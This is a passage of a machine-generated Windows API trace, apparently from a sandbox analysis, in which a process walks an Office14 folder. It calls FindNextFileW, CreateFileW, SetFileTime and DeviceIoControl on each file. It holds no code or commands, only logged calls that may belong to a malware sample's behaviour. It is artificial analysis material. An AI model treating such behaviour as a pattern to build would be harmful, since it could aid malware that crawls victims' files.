ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf9e19600, ftLastWriteTime.dwHighDateTime=0x1c56bc4, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a197900, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a197900, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6b2dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV.HXS", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef99800, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdef99800, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x7770e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cfb800, ftCreationTime.dwHighDateTime=0x1cac79b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70cfb800, ftLastWriteTime.dwHighDateTime=0x1cac79b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x13f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83340500, ftCreationTime.dwHighDateTime=0x1c937e6, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x83340500, ftLastWriteTime.dwHighDateTime=0x1c937e6, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.CSS", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbba2a00, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbba2a00, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x7fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VRD", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4e570, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VSL", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d63000, ftCreationTime.dwHighDateTime=0x1bbd3c6, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74d63000, ftLastWriteTime.dwHighDateTime=0x1bbd3c6, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GR8GALRY.GRA", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61152c00, ftCreationTime.dwHighDateTime=0x1c6e5fa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61152c00, ftLastWriteTime.dwHighDateTime=0x1c6e5fa, nFileSizeHigh=0x0, nFileSizeLow=0x94f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.HXS", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXT", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x32d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x18780, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRLEX.DLL", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9dd600, ftCreationTime.dwHighDateTime=0x1cacb3e, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdd9dd600, ftLastWriteTime.dwHighDateTime=0x1cacb3e, nFileSizeHigh=0x0, nFileSizeLow=0xbb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove Starter Template.xsn", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x22c410, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.HXS", cAlternateFileName="")) returned 1 [0069.485] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="")) returned 1 [0069.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.487] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.487] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x106dbc0 [0069.487] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x106dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x106dbc0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.487] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.488] NtClose (Handle=0x18c) returned 0x0 [0069.488] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.488] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.488] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.490] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.490] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0069.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1063ed8 [0069.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e898 [0069.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064508 [0069.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.490] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0069.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e8b8 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064610 [0069.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.491] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e8d8 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064718 [0069.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.491] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e8f8 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064820 [0069.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.492] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, 